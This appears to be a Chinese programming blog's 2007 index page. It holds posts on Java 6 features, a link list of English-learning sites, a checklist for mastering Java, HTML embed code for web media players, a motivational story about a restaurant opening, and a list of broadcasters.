         对于Solaris10用户,Solaris的Hotspot JVM为Solaris的DTrace系统调试工具提供钩子来追踪和显示虚拟机内部活动,比如垃圾收集器、类加载、线程、锁等等。参加JavaOne大会时,我观看此项功能的演示,深深被DTrace工具调试的深度所吸引。应用程序运行时,DTrace允许你在任何地方中断代码的运行,查看所有加载的库(不仅仅是Java类库,还包含系统类库),跟踪到Solaris内核直至硬件!Java提供的这个令人惊讶的新工具让系统调试成为可能。我现在还记得过去经常会遇到虚拟机中报出Solaris Signal-8的错误,此新功能能帮我一探究竟。

Web服务

          Java6包含了一些新的API来支持Web服务。XML数字签名API允许你对XML数据进行加密,从而安全地使用基于Java的Web服务,Java-XML Web服务(JAX-WS)2.0 API更新了以前称作JAX-RPC的接口。Java-XML绑定(JAXB)2.0的增强包括XML Schecma支持以及将类直接绑定到Schema上。最后,XML流API(STaX)提供了双向应用程序接口通过事件流来读写XML,包括跳过某些部分,只处理于文档的某些部分。

安全

          Java6的安全包括GSS/Kerberos集成,LDAP认证的Java认证及授权服务(JAAS),允许Java应用程序通过多种协议请求安全证书的安全证书请求框架。

桌面功能和改进

         很长一段时间内Java被认为是优秀的服务器段软件语言,而在桌面GUI应用方面被认为是次等公民。Sun的Java桌面开发小组一直致力于改变这种看法,将Java同本地操作系统更紧密的集成,结果在Java6中不仅提高了用户界面效率,还改进了Java GUI应用程序的表现。

         Java6的许多新的桌面功能基于JDIC项目,JDIC项目让Java应用程序可以访问本地操作系统的许多功能,比如浏览器、email编辑器、文件类型关联、系统托盘、应用程序启动以及打印等等。下面是Java6在桌面开发上的明显改进:

启动画面支持

         启动画面告诉用户等待应用程序启动。Java6甚至提供了在虚拟机启动之前展现启动画面的支持。

Java基础类(JFC)以及Swing改进

         Java6调整了Windows API,使Swing既提高了运行速度,又保证了当前Windows版本的Windows外观。

  • 增强了布局管理器,加入了自定义布局管理器以及其他简化界面组件的布局器。
  • 极大的增强了Swing的drag-and-drop功能,使其更加灵活。
  • 真双缓冲机制提供了快速平滑的界面切换。
  • 系统托盘支持,在java.awt中增添了两个新类SystemTray和TrayIcon,允许你在Windows和Gnome Linux系统托盘上添加图标、tool tips、以及弹出菜单。系统托盘是所有应用程序共享的桌面领域,通常位于桌面的左下角,动作事件允许Java应用程序跟踪你放入托盘上图标鼠标点击事件。我发现这个新功能对我的服务器端程序也有用,比如和下文所提到的Desktop API结合使用能容易地为应用程序管理员启动管理页面浏览器。不管是什么操作系统(Linux还是Windows),我不再需要记住应用程序管理端口或者URL,只需要点击图标,页面就出现了。
  • JTable的增强打印的支持。
  • Java2D的增强:增强了文本显示质量,特别是在液晶(LCD)显示器上,同本地桌面字体反走样设置集成确保了文本显示的一致性。
  • 新的java.awt.Desktop的API:Java6新的Desktop包目的是使Java用户界面程序成为一等公民。使用该包,Java应用程序能够启动缺省的浏览器和电子邮件客户端,并且和普通桌面应用程序(比如OpenOffice)集成,能够打开、编辑并且打印特定类型的文件。Desktop包通过动作事件(Desktop.Action)来提供此项功能,让你能集成到你的应用系统中。

国际化

           Java6为某些格式支持可插拔式支持,比如日期格式化、Unicode文本标准化以及资源bundle。

         Java6有可能使Java桌面应用产生革命的变化,就像java 2曾经产生的服务器端革命一样。我们最好为这场风暴做好准备,为早期投入Java桌面市场得到的报偿摆好姿态。

posted @ 2007-03-30 20:32 MEYE 阅读(668) | 评论 (0)编辑 收藏
     摘要: 数据库连接池的原理机制 转贴   ...  阅读全文
posted @ 2007-03-27 22:01 MEYE 阅读(7777) | 评论 (0)编辑 收藏


真正的学英语大全【实用】



音标:
1.http://blog.hjenglish.com/melodious/category/2060.html(美音听力及发音小技巧)
2.http://det.tjfsu.edu.cn/learning/oral.htm(英语口语学习资源)
3.http://203.68.17.29/mis/mono/kevin/EteachWeb/KK%AD%B5%BC%0/kk.htm 学习网页
4.http://www.jsxtzx.com/jzf/Soft_Show.asp?SoftID=141 学习软件
5.http://www.ebigear.com/ResourceHtml/324/(大耳朵英语—— 国际音标与语音 )
6.http://www.englishabc.com.cn/halom508/Software/Catalog210/355.html(国际音标下载)

初级英语:
1.http://www.english61.com/(少儿英语初级、中级、高级、看图英语、趣味英语等)
2.http://www.labahua.com/edu0064/index0135.html(喇叭花——小、中、大学英语学习)
3.http://www.szgaolong.com/3_zlxz/(各级同步教材、专业英语、流行英语)
4.http://www.qjjj.net/(唐诗英汉、中学学习资料、人教版高中英语mp3)
5.[url]www.tingroom.com/flash/>http://www.tingroom.com/flash/[/url](英语儿歌动画、儿童英语故事、高考英语语法、、英语电台、VOA特别、标准英语、赖世雄、许国璋、新概念英语等——在线英语听力室)

语法:
1.http://www.pass-e.com/sort.php?sortid=26(真题网)
2.[url]www.tingroom.com/flash/>http://www.tingroom.com/flash/[/url](高考英语语法)
3.http://www.nutshellsoft.com/english/oral/(英语精华网)
4.http://www.english61.com/(英迪网)
5.http://www.52en.com/whbm/grammar/index.htm(我爱英语网)
6.http://www.diandian.net/grammar/index.htm(点点英语——语法大全)

词汇、记忆英语单词的方法:
1.http://www.nutshellsoft.com/english/word/index.htm(特棒!)
2.http://www.newenglishworld.com/detailView.asp?newsid=698(背单词的捷径)
3.http://www.24xuexi.com/Article/jichu/jichu-ch/200507/40607.html(谈谈英语单词的记忆五法)
4.http://www.magaworld.com/Article/Detail.asp?ID=4394(英语单词记忆法探究)
5.http://www.pass-e.com/article.php?articleid=5451(非英语专业词汇自学策略)
6. http://www.magaworld.com/Article/Detail.asp?ID=4058(英语快速记忆-构词法)
7. http://www.magaworld.com/Article/Detail.asp?ID=4057(英语快速记忆-后缀)
8. http://www.magaworld.com/Article/Detail.asp?ID=4002(搞笑背单词)
9. http://www.blog.edu.cn/user1/23836/cmd.shtml?uid=23836&do=index&page=4(记忆单词20法、常见的前缀)
10.http://ifstar.net/html/200512/86177.html(星荧论坛——【视频下载】英语词汇立体记忆)
11.http://www.iselong.com/english/0000/786.htm(谈GRE背单词方法)

另附:
1.http://www.qjjj.net/ (四级词汇mp3、大学英语词汇星火式巧记速记mp3及PDF文本、六级核心词汇)
2.http://www.iselong.com/english/0000/521.htm(英语单词常见前后缀总结)
3.http://www.iselong.com/english/0000/930.htm(英语单词词根词典)
4. http://www.magaworld.com/Article/?Kind2=%D3%A6%CA%D4%BD%CC%D3%FD&Kind3=%B4%F3%D1%A7%C1%F9%BC%B6(四六级词汇)
5.http://www.magaworld.com/Article/Detail.asp?ID=4115(★六级核心词例句★)

翻译网站:
1、比较好的多语言在线翻译网:
http://www.123cha.com/tran/
2、特棒的英汉翻译网站:
http://www.iselong.com/online/Dictionary.htm(万千英语族优秀在线英语词典(中英、英英、英汉)一网打尽)
3、好的中英日韩在线翻译网。这个网站翻译方法是:中文(或英文)翻成日文,由日文再翻成韩文。(中文名字翻译成韩文名字最好)
http://www.excite.co.jp/world/korean/
4、纯粹的中日文翻译: http://translate.adaffiliate.net/(中文日文在线翻译)
5、http://www.fyxx.org/online.asp

20个英语学习网站,免费的mp3和视频[/b:
1.http://www.24xuexi.com/Article/hy/(24小时学习网)
2.http://www.ywhc.net/article/Index.asp(英文荟萃)(内含口语8000句)
3.http://www.hjenglish.com/subject/data/enlisten.htm (英语听力资源汇总)
4.http://www.hjenglish.com/doc/enlisten/511_1016.htm(英语听力mp3下载)
5.http://www.4english.cn/(英语之声)
6.http://www.52en.com/tl/(英语听力特区)
7.http://www.putclub.com/(普特英语听力)
8.http://202.114.65.51/fzjx/dmtjx/english/dxyyjd.htm(大学英语精渎听力下载)
9.http://www.edgeenglish.com/(爱鸽英语)
10.http://www.iselong.com/English/c/16index.htm(万千英语族)
11.http://www.pass-e.com/sort.php?sortid=8(真题网)
12.http://www.52en.com/(我爱英语网)
13.http://www.nutshellsoft.com/(英语精华网)
14.http://www.qjjj.net/(清剑精品资料)
15.http://www.meno.com.cn/engexam/CET/Index.html(美诺学习网)
16.http://www.hjenglish.com/doc/enlisten/511_1017.htm (大学英语四级考试听力MP3 100篇)
17.http://wxy.studa.com/(学生大考试站)
18.http://www.eduxue.com/kaoshi/english/a/(教育学习网)
19.http://www.xy51.com/Article/eng/zszb/sti/(学程无忧)
20.http://www.gooedu.cn/Article/en/zhuan4zhuan8/zhidao/(goo学网)

在线外语电台:
1.http://www.yyksw.com/index1.html(VOA、BBC等及外语电视台在线收看)
2.http://www.mornstars.com/(BBC1-7、美国CNN)
3.http://www.unsv.com/(英语学习频道)
4.http://www.52en.com/tl/
5.[url]www.tingroom.com/flash/>http://www.tingroom.com/flash/[/url]( VOA特别英语、 VOA标准英语及英语电台)
6.http://www.hjenglish.com/catalog/list.asp?cateid=611(许国璋英语教材下载、许国璋英语听力下载、许国璋英语文本、 许国璋四册文本单词语法)
7.http://www.studa.com/newdown/soft/3323.htm(许国璋英语教材 (第一册到第四册))

新概念英语的学习网站:
1.http://www.ebigear.com/ResourceHtml/209/(视频)
2.http://www.jqzxzx.com/yule/zxsp/200509/310.html(视频)
3.http://www.fli.com.cn/Article_Show.asp?ArticleID=1035(需先注册—mp3)
4.http://www.aceen.com/2j.asp?id=168(mp3)
5.http://lz.qjjj.net/Article/czyy/dxyy/200511/Article_20051121191418.html(mp3)
6.http://www.nutshellsoft.com/english/newconcept/index.htm(mp3)
7.http://www.pass-e.com/article.php?articleid=759(mp3)
8.http://www.wwenglish.com/en/pp/nce/index.htm(辅导学习)

四六级英语:
1.http://www.pass-e.com/sort.php?sortid=8(真题网)
2.http://www.52en.com/whbm/grammar/index.htm(我爱英语网)
3.http://www.nutshellsoft.com/english/cet4/index.htm(英语精华网)
4.http://lz.qjjj.net/Article/czyy/dxyy/200511/Article_20051130195428.html(清剑精品资料)
5.http://www.meno.com.cn/engexam/CET/Index.html(美诺学习网)
6.http://www.hjenglish.com/doc/enlisten/511_1017.htm(大学英语四级考试听力MP3 100篇)

另附:
1.http://www.aceen.com/list.asp?unid=3398(90个外国英文网站强力推荐)
2.http://www.meno.com.cn/waiyu/ziliao/200507/989.html(英语学习网站超级大全)
3.http://www.jasii.com/abcsite.htm(英语学习网站大全)
4.http://bbs.51legou.com/read.php?tid=12968(二十个学英语的网站)
5.http://www.11de1.com/classs.php?classid=160(外语学习网址大全)

名人演讲网址:
1.http://www.52en.com/yy/html/20050327_007.asp
2.http://www.americanrhetoric.com/top100speechesall.html(美国历史上著名的100个演讲MP3及原文)
在这里,你不仅能够看到原文,还可以亲耳听听马丁路德金的I have a dream的演讲,那可是真是震撼人心!

另外这个网页上还有关于一些名家学习英语的方法,可参考:
http://www.iselong.com/(名家学英语:丰子恺 何其莘 张五常 林语堂 高厚坤)
资源名称---英语方面学习视频资料

迪斯尼神奇英语全套

http://www.xuexinet.com/文档/xuexidetail.asp?id=9

初级美语-赖世雄(mp3)

http://www.xuexinet.com/文档/xuexidetail.asp?id=12

中级美语-赖世雄

http://www.xuexinet.com/文档/xuexidetail.asp?id=13

许国璋英语第一册(mp3)

http://www.xuexinet.com/文档/xuexidetail.asp?id=14

许国璋英语第二册(mp3)

http://www.xuexinet.com/文档/xuexidetail.asp?id=15

许国璋英语第三册(mp3)

http://www.xuexinet.com/文档/xuexidetail.asp?id=16

英语词汇记忆法视频讲座4讲

http://www.xuexinet.com/文档/xuexidetail.asp?id=20

抗遗忘单词快速记忆法视频下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=54

从零开始学法语

http://www.xuexinet.com/文档/xuexidetail.asp?id=55

许国璋电视英语全套

http://www.xuexinet.com/文档/xuexidetail.asp?id=69

四川电大商务交际英语

http://www.xuexinet.com/文档/xuexidetail.asp?id=82

高级时事英语视频下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=84

计算机专业英语在线教程

http://www.xuexinet.com/文档/xuexidetail.asp?id=102

综合英语》(一)精讲音频下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=106

李阳-疯狂英语口语和听力四本书mp3

http://www.xuexinet.com/文档/xuexidetail.asp?id=107

新概念英语第一册(MP3版)

http://www.xuexinet.com/文档/xuexidetail.asp?id=299

新概念英语第二册(MP3版)

http://www.xuexinet.com/文档/xuexidetail.asp?id=300

新概念英语第三册(MP3版)

http://www.xuexinet.com/文档/xuexidetail.asp?id=301

新概念英语第四册MP3

http://www.xuexinet.com/文档/xuexidetail.asp?id=302

英语学习翻译

http://www.xuexinet.com/文档/xuexidetail.asp?id=332

完整版刘畅词汇flash下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=333

洋话连篇MP3

http://www.xuexinet.com/文档/xuexidetail.asp?id=334

商务英语基础

http://www.xuexinet.com/文档/xuexidetail.asp?id=349

2005新东方阅读flash-周雷(全)

http://www.xuexinet.com/文档/xuexidetail.asp?id=351

大学英语听力mp3

http://www.xuexinet.com/文档/xuexidetail.asp?id=353

英语随口说[MP3] 练习口语好资料

http://www.xuexinet.com/文档/xuexidetail.asp?id=488

考研英语(2006)--阅读[FLASH]

http://www.xuexinet.com/文档/xuexidetail.asp?id=645

新东方演讲-江博

http://www.xuexinet.com/文档/xuexidetail.asp?id=646

新东方演讲-俞敏洪

http://www.xuexinet.com/文档/xuexidetail.asp?id=647

[西南师大][词汇学][14讲]

http://www.xuexinet.com/文档/xuexidetail.asp?id=648

英语听力[音频]

http://www.xuexinet.com/文档/xuexidetail.asp?id=649

英语专业翻译课程

http://www.xuexinet.com/文档/xuexidetail.asp?id=650

交际英语(国家级)

http://www.xuexinet.com/文档/xuexidetail.asp?id=651

新东方演讲-王强

http://www.xuexinet.com/文档/xuexidetail.asp?id=652

医学英语

http://www.xuexinet.com/文档/xuexidetail.asp?id=673

英语3册(北京交通大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=717

英语4册(北京交通大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=718

高级时事英语(毛东辉)宁波电大

http://www.xuexinet.com/文档/xuexidetail.asp?id=720

[上海外国语大学] 高级英语

http://www.xuexinet.com/文档/xuexidetail.asp?id=893

综合英语视频教学资料

http://www.xuexinet.com/文档/xuexidetail.asp?id=894

生活美语-语音下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=895

洋话连篇Ⅲ(视频RM)50集

http://www.xuexinet.com/文档/xuexidetail.asp?id=896


李阳疯狂英语学习光盘

http://www.xuexinet.com/文档/xuexidetail.asp?id=1137

疯狂英语900句2005精华版

http://www.xuexinet.com/文档/xuexidetail.asp?id=1138

计算机专业英语

http://www.xuexinet.com/文档/xuexidetail.asp?id=1139

李阳疯狂英语

http://www.xuexinet.com/文档/xuexidetail.asp?id=1166

高考英语语法

http://www.xuexinet.com/文档/xuexidetail.asp?id=1198

高考英语听力

http://www.xuexinet.com/文档/xuexidetail.asp?id=1199

高考英语阅读

http://www.xuexinet.com/文档/xuexidetail.asp?id=1200

高考英语写作

http://www.xuexinet.com/文档/xuexidetail.asp?id=1201

新东方《4+1口语语汇》

http://www.xuexinet.com/文档/xuexidetail.asp?id=1214

新东方词汇112课FLASH讲解

http://www.xuexinet.com/文档/xuexidetail.asp?id=1215

新概念英语全四册课本PDF版

http://www.xuexinet.com/文档/xuexidetail.asp?id=1216

新概念英语视频第一册

http://www.xuexinet.com/文档/xuexidetail.asp?id=1217

新概念英语视频第二册

http://www.xuexinet.com/文档/xuexidetail.asp?id=1218

新概念英语视频第三册

http://www.xuexinet.com/文档/xuexidetail.asp?id=1219

新概念英语视频第四册

http://www.xuexinet.com/文档/xuexidetail.asp?id=1220

四川电大 大学英语4(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1228

四川电大 翻译理论与实践(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1229

四川电大 外贸英语(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1230

四川电大 外贸英语函电(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1237

四川电大 商务英语(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1238

四川电大 综合英语(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1240

四川电大 商务交际英语(在线播放)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1241

2005.8.新东方英语讲座视频

http://www.xuexinet.com/文档/xuexidetail.asp?id=1244

<生活美语>英语音频下载

http://www.xuexinet.com/文档/xuexidetail.asp?id=1256

哈哈美语全集flash

http://www.xuexinet.com/文档/xuexidetail.asp?id=1258

初中英语复习

http://www.xuexinet.com/文档/xuexidetail.asp?id=1283

赖世雄教你轻松说英语[365讲]音频

http://www.xuexinet.com/文档/xuexidetail.asp?id=1295

北师大-大学英语精读(一)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1296

北京邮电大学-英语精读(一)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1297

新东方《考研英语词汇 词根+联想记忆法》俞敏洪 配套录音[mp3]

http://www.xuexinet.com/文档/xuexidetail.asp?id=1298

新概念英语第二册(视频)1-10

http://www.xuexinet.com/文档/xuexidetail.asp?id=1316

新概念英语第二册(视频)21-30

http://www.xuexinet.com/文档/xuexidetail.asp?id=1317

新概念英语第二册(视频)11-20

http://www.xuexinet.com/文档/xuexidetail.asp?id=1318

新视野英语(三)(公共课)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1348

新视野英语(二)(公共课)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1349

统考辅导/大学英语/写作(吉林大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1375

统考辅导/大学英语/听力(吉林大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1376

统考辅导/大学英语/模拟题(吉林大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1377

统考辅导/大学英语/语法/(吉林大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1382

统考辅导/大学英语/阅读理解(吉林大学)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1404

新概念英语全套电子书四册(有声版)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1457

[展望未来][70集][RM]

http://www.xuexinet.com/文档/xuexidetail.asp?id=1518

新东方FLASH高考语法详解---高中生的福音

http://www.xuexinet.com/文档/xuexidetail.asp?id=1519

美国历史上著名的100个演讲MP3及原文

http://www.xuexinet.com/文档/xuexidetail.asp?id=1573

BBC时间机器

http://www.xuexinet.com/文档/xuexidetail.asp?id=1574

美国文化系列讲座

http://www.xuexinet.com/文档/xuexidetail.asp?id=1575

李阳疯狂英语口语速成

http://www.xuexinet.com/文档/xuexidetail.asp?id=1576

新东方西安交大演讲(强烈推荐)

http://www.xuexinet.com/文档/xuexidetail.asp?id=1577

自学英语国际音标

http://www.xuexinet.com/文档/xuexidetail.asp?id=1578

英语高级口译教程

http://www.xuexinet.com/文档/xuexidetail.asp?id=1626

Walking With Beasts

http://www.xuexinet.com/文档/xuexidetail.asp?id=1627

挑战单词)-英语单词记忆超速记

http://www.xuexinet.com/文档/xuexidetail.asp?id=1629

俞敏洪GRE词汇串讲

http://www.xuexinet.com/文档/xuexidetail.asp?id=1630

免费英语在线课程
http://www.manythings.org/
http://www.englishpage.com/
http://www.eslpartyland.com/
http://www.english-at-home.com/
http://www.englishclub.com/
http://www.longman-elt.com/index.html
http://www.iei.uiuc.edu/free.html
http://www.focusenglish.com/
http://www.teflfarm.com/
http://www.freeenglish.com/
posted @ 2007-03-25 13:49 MEYE 阅读(1982) | 评论 (1)编辑 收藏
     摘要: 数据库连接池的原理机制 转贴  (   学习 ) ...  阅读全文
posted @ 2007-03-25 12:36 MEYE 阅读(1908) | 评论 (1)编辑 收藏
谈谈你对所谓“精通java”的理解  
下面是网上对精通java的基本条件,大家看看谈谈,怎么样算是精通java

[转]精通java,以下为必要条件:
1、当然要对java语法和语义有相当的理解及纯熟的应用,比方说对继承体系中的对象的比较复杂初始化顺序的清晰把握,对内部类和无名内部类的理解和使用时机的把握,对反射和序列化机制的掌握,等等,等等;
2、对虚拟机的内部运作机理、垃圾收集机制及其算法的理解;
3、java是一门oo语言,精通java意味着你必需精通面向对象的编程;
4、对java core api的掌握,最起码,对java.lang、java.io、java.nio、java.math、java.util、java.net、java.sql、javax.sql、java.lang.reflect等包的目的、类层次结构、大多数类的作用与用法、包中的类与类之间的静态结构和动态交互等内容要深入掌握,如果你要编写GUI程序,那还要加上javax.swing包;
到这里了,大约可以说你精通了java的基本了。然而,在中国,所谓精通java往往意味着对j2ee的掌握,那么,下面还有:
5、对j2ee体系结构的宏观把握;
6、掌握java.rmi、javax.rmi、javax.naming、javax.mail等包;
7、对servlet的掌握,包括servlet规范,servlet容器,javax.servlet、javax.servlet.http包的api
8、对jsp的掌握,包括jsp与servlet的转换关系,jsp的指令和action,el语言,jstl;
9、对ejb的掌握,包括ejb的规范与实现,ejb的部署,javax.ejb包的api,以及ejb的有效运用,ejb陷阱与缺陷的避免;
10、对java安全的平台与api的掌握;
11、java的开源力量不可轻视,利用得好,可以极大地增强你的开发效率,这方面太广,我也只能随便说说。一个MVC框架,struts或webwork;一个O/R工具,如hiberate或一个jdo的实现;一个测试框架,如junit;一个发布工具,如ant;还有诸如全文检索工具Lucene,jsp页面布局工具Tiles,spring框架,等等



[Javascript]网页播放器代码全集 
软件技术

1.avi格式
代码 片断如下:
<object id="video" width="400" height="200" border="0" classid="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA">
<param name="ShowDisplay" value="0">
<param name="ShowControls" value="1">
<param name="AutoStart" value="1">
<param name="AutoRewind" value="0">
<param name="PlayCount" value="0">
<param name="Appearance value="0 value=""">
<param name="BorderStyle value="0 value=""">
<param name="MovieWindowHeight" value="240">
<param name="MovieWindowWidth" value="320">
<param name="FileName" value="/Mbar.avi">
<embed width="400" height="200" border="0" showdisplay="0" showcontrols="1" autostart="1" autorewind="0" playcount="0" moviewindowheight="240" moviewindowwidth="320" filename="/Mbar.avi" src="Mbar.avi">
</embed>
</object>

2.mpg格式
代码 片断如下:
<object classid="clsid:05589FA1-C356-11CE-BF01-00AA0055595A" id="ActiveMovie1" width="239" height="250">
<param name="Appearance" value="0">
<param name="AutoStart" value="-1">
<param name="AllowChangeDisplayMode" value="-1">
<param name="AllowHideDisplay" value="0">
<param name="AllowHideControls" value="-1">
<param name="AutoRewind" value="-1">
<param name="Balance" value="0">
<param name="CurrentPosition" value="0">
<param name="DisplayBackColor" value="0">
<param name="DisplayForeColor" value="16777215">
<param name="DisplayMode" value="0">
<param name="Enabled" value="-1">
<param name="EnableContextMenu" value="-1">
<param name="EnablePositionControls" value="-1">
<param name="EnableSelectionControls" value="0">
<param name="EnableTracker" value="-1">
<param name="Filename" value="/mpeg/halali.mpg" valuetype="ref">
<param name="FullScreenMode" value="0">
<param name="MovieWindowSize" value="0">
<param name="PlayCount" value="1">
<param name="Rate" value="1">
<param name="SelectionStart" value="-1">
<param name="SelectionEnd" value="-1">
<param name="ShowControls" value="-1">
<param name="ShowDisplay" value="-1">
<param name="ShowPositionControls" value="0">
<param name="ShowTracker" value="-1">
<param name="Volume" value="-480">
</object>

3.smi格式
代码 片断如下:
<OBJECT id=RVOCX classid=clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA width=240 height=180>
<param name="_ExtentX" value="6350">
<param name="_ExtentY" value="4763">
<param name="AUTOSTART" value="-1">
<param name="SHUFFLE" value="0">
<param name="PREFETCH" value="0">
<param name="NOLABELS" value="-1">
<param name="SRC" value="rm.rm">
<param name="CONTROLS" value="ImageWindow">
<param name="CONSOLE" value="console1">
<param name="LOOP" value="0">
<param name="NUMLOOP" value="0">
<param name="CENTER" value="0">
<param name="MAINTAINASPECT" value="0">
<param name="BACKGROUNDCOLOR" value="#000000"><embed src="real.smi" type="audio/x-pn-realaudio-plugin" console="Console1" controls="ImageWindow" height="180" width="240" autostart="true"></OBJECT>

4.rm格式
代码 片断如下:
<OBJECT ID=video1 CLASSID="clsid:CFCDAA03-8BE4-11cf-B84B-0020AFBBCCFA" HEIGHT=288 WIDTH=352>
<param name="_ExtentX" value="9313">
<param name="_ExtentY" value="7620">
<param name="AUTOSTART" value="0">
<param name="SHUFFLE" value="0">
<param name="PREFETCH" value="0">
<param name="NOLABELS" value="0">
<param name="SRC" value="rtsp://203.*.*.35/vod/dawan-a.rm">
<param name="CONTROLS" value="ImageWindow">
<param name="CONSOLE" value="Clip1">
<param name="LOOP" value="0">
<param name="NUMLOOP" value="0">
<param name="CENTER" value="0">
<param name="MAINTAINASPECT" value="0">
<param name="BACKGROUNDCOLOR" value="#000000"><embed SRC type="audio/x-pn-realaudio-plugin" CONSOLE="Clip1" CONTROLS="ImageWindow" HEIGHT="288" WIDTH="352" AUTOSTART="false">
</OBJECT>

5.wmv格式
代码 片断如下:
<object id="NSPlay" width=200 height=180 classid="CLSID:22d6f312-b0f6-11d0-94ab-0080c74c7e95" codebase="http://activex.microsoft.com/activex/controls/mplayer/en/nsmp2inf.cab#Version=6,4,5,715" standby="Loading Microsoft Windows Media Player components..." type="application/x-oleobject" align="right" hspace="5">
<param name="AutoRewind" value=1>
<param name="FileName" value="/blog/******.wmv">
<param name="ShowControls" value="1">
<param name="ShowPositionControls" value="0">
<param name="ShowAudioControls" value="1">
<param name="ShowTracker" value="0">
<param name="ShowDisplay" value="0">
<param name="ShowStatusBar" value="0">
<param name="ShowGotoBar" value="0">
<param name="ShowCaptioning" value="0">
<param name="AutoStart" value=1>
<param name="Volume" value="-2500">
<param name="AnimationAtStart" value="0">
<param name="TransparentAtStart" value="0">
<param name="AllowChangeDisplaySize" value="0">
<param name="AllowScan" value="0">
<param name="EnableContextMenu" value="0">
<param name="ClickToPlay" value="0">
</object>

6.wma格式
放在 <body> 里面。下面是部分解释:
<object classid="clsid:22D6F312-B0F6-11D0-94AB-0080C74C7E95" id="Media




只有一次机会

 

        朋友从国外回来,想投资开一个西餐店,我帮他选择地点。我们跑遍了整个城市,看了无数的房子,最后他从中挑选除了 10 个,列为准店,把它们在位置、环境、布局等方面的优劣列成清单,反复比较,从中优选出 3 个,然后把这 3 个店的位置、环境、布局及服务内容等做市场调查,根据调查反馈,最后确定其中一个,接下来开始装修。朋友请来装修公司,详细地讲述他的意图,对方耐心地听着。开始还为他的认真感动,到后来就有些不耐烦了,他也真是太详细了,不仅店内所有的空间包括门厅、厨房、卫生间里的每一个角落都不放过,而且,店外远至百米的路段也做了精心布置,简直精细到极点。我看着他,突然感觉有些陌生,原来挺豪爽大气的一个人,几年不见,怎么竟变得婆婆妈妈,心细如针?

       店终于按照朋友的要求装修好了,进到里边,给人的第一感觉是舒服,第二感觉还是舒服,你能想到的他全想到了,你没想到的他也想到了,可他还不放心,让我们帮他挑毛病,看看还有什么没想到的地方。我看着他,越发觉得他陌生了。从选店到装修,不仅多跑了许多路,多花了许多钱,更重要的是,花了许多时间,如果换成我,现在早营业赚钱了,可他还在这儿挑毛病。我说:“挺好的,赶快开业吧,早开一天早收入一天。”

        朋友看着我说,“正式开业还要等一个星期,从明天开始,我请你带朋友来吃饭,全部免费,但又一条,每吃一次,至少要提一条意见。”

        “为什么?”

        “因为在欧洲,不能让客人等候超过 5 分钟,不能让他有任何不满意的地方,现在开业,我没有把握,所以我付费请咨询公司替我找最挑剔的顾客来,如果你方便也请你来,多挑毛病!”

        “你也太认真了,这是在中国,不用这样,要我说,先开业,发现问题再说,现该也来得及。”

        “不,我不能拿顾客做实验。在欧洲,我做过调查,开业最初 10 天进店的顾客,基本上是你店里长期的顾客,如果你在这 10 天留不住顾客,你就得关门。”

        “为什么?”我有些不解,“一个新开的店,有点不足是难免的。客人也会谅解的,下次改正就行了。”

         “不,没有下次,只给你一次机会。我刚到国外时,觉得他们很傻,你说什么他都相信,你如果想骗他其实很容易,但是他只给你骗一次,以后他永远不会和你来往。在工作中,只要是你本人的原因犯错,你就得走,你不能说:对不起这次我错了,给我机会,我保证下次改。没有下次,只给你一次机会。”

        我看这朋友,突然明白了为什么这些天来,他如此认真,如此精细,这个在我看来没什么了不起的一个店,在他看来,仅次于他的生命,因为他深深知道,这既是他的第一个店,也是他最后一个店,成败只此一次,没有再一,更无在二。

 

点评:在变化万千的信息时代,客户给我们的机会其实也只有一次,关键我们是以何种态度对待。如果我们有下次再来的心思,那么总有一天会被客户抛弃。做我们每天面对的工作,也是如此.

posted @ 2007-03-08 15:50 MEYE 阅读(353) | 评论 (0)编辑 收藏
迄今为止最全的英语广播---十来个国家地区的一百多个英语广播电台

中国
美 国
加拿大
澳大利亚及其他
中国国际广播电台(CRI)
中央电视台CCTV)
北京人民广播电台 (BPBC)
上海电视台(STV)
上海卫星电视 (SBN)

Hong Kong (SAR/China) 中国香港特别行政区
凤凰卫星电视 (凤凰网) Phoenix TV
香港有线电视(CABLE TV)
亚洲电视(ATV)
香港电台 (RTHK)
香港商业电台 (HKCR)
华娱电视 (CETV)
新城广播有限公司(METRO BROADCAST)
传讯电视(CTN)
电视广播有限公司(TVB)
广播事务管理局(HKBA)
卫星电视 (STAR TV)
Network of the World (NOW)
America One Television (A1)
American Broadcasting Corporation (ABC-USA)
C-SPAN (Cable-Satellite Public Affairs Network)
Cable News Networks (CNN)
(CWCB) 中华商业广播电台
Columbia Broadcasting Network (CBS)
Corporation for Public Broadcasting (CPB)
Discovery Communications Inc.
Federal Communications Commission (FCC)
Fox Television Network
Independent Television Service (ITVS)
International Broadcasting Bureau (IBB)
中文广播电台
湾区无线六十六台
National Association of Broadcasters, U.S.A. (NAB-USA)
National Broadcasting Corporation (NBC-USA)
National Public Radio (NPR)
National Public Radio (NPR) Worldwide
News Corporation Limited
Pacifica Radio Network
Public Broadcasting System (PBS)
The International Council: The National Academy of Television Arts and Sciences
Turner Broadcasting System, Inc. (TBS)
United Nations United Nations World Television Forum
美国之音
Warner Brothers Television (WB)
A-Channel
Bell ExpressVU
Canadian Association of Broadcasters (CAB)
Canadian Broadcasting Corporation (CBC)
Canadian Television Network (CTV)
CanWest Global Communications Corporation
CF Television Inc.
